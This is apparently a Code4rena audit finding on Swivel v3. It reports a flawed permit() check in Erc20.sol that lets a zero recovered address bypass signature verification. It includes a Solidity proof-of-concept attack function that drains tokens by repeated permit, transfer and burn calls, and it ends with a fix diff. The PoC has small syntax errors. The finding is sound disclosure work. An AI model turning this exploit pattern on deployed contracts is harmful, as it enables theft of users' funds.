Swivel v3 contest - devtooligan's results

Lines of code

https://github.com/code-423n4/2022-07-swivel/blob/daf72892d8a8d6eaa43b9e7d1924ccb0e612ee3c/Tokens/Erc20.sol#L165-L167

Vulnerability details

Impact

When creating ERC20.sol from Solmate, a require() in permit() was converted to a custom error incorrectly.

It now reads:

if (recoveredAddress != address(0) && recoveredAddress != owner) {
    revert Invalid(msg.sender, owner);
}

So if the recoveredAddress is non-zero and the recoveredAddress is not owner it will error. But if the recoveredAddress == 0x0 then it will pass this check.

Anyone can permit themselves as a spender using the zero address for any token which inherits this ERC20 implementation. So, for example, someone could redeem some zcTokens for underlying, then transfer the burned tokens back to themselves and repeat, draining the protocol.

Proof of Concept

function attack(IZcToken zctoken) {
    zctoken.permit(
        address(0x0),
        address(this),
        type(uint).max,
        block.timestamp,
        uint8(0),  // using 0 for r,s,v returns address(0x0) from ecrecover()
        bytes32(0),
        bytes32(0)
    );
    assert(zctoken.allowance(address(0x0), address(this)), type(uint).max);

    uint amount = zctoken.balanceOf(address(0x0)

    zctoken.transferFrom(
        address(0x0),
        address(this),
        amount
    );

                                    
    // assumes attacker has previously acquired notional
    IMarketPlace(mp).burnZcTokenRemovingNotional(
        zctoken.protocol(),
        zctoken.underlying(),
        zctoken.maturity(),
        address(this),
        amount
    );
                                    
    // .. repeat until drained, then move on to next token
        
}

Recommended Mitigation Steps

diff --git a/Creator/Erc20.sol b/Creator/Erc20.sol
index a1f72b0..8464626 100644
--- a/Creator/Erc20.sol
+++ b/Creator/Erc20.sol
@@ -162,7 +162,7 @@ contract Erc20 {
                 s
             );

-            if (recoveredAddress != address(0) && recoveredAddress != owner) {
+            if (recoveredAddress == address(0) || recoveredAddress != owner) {
                 revert Invalid(msg.sender, owner);
             }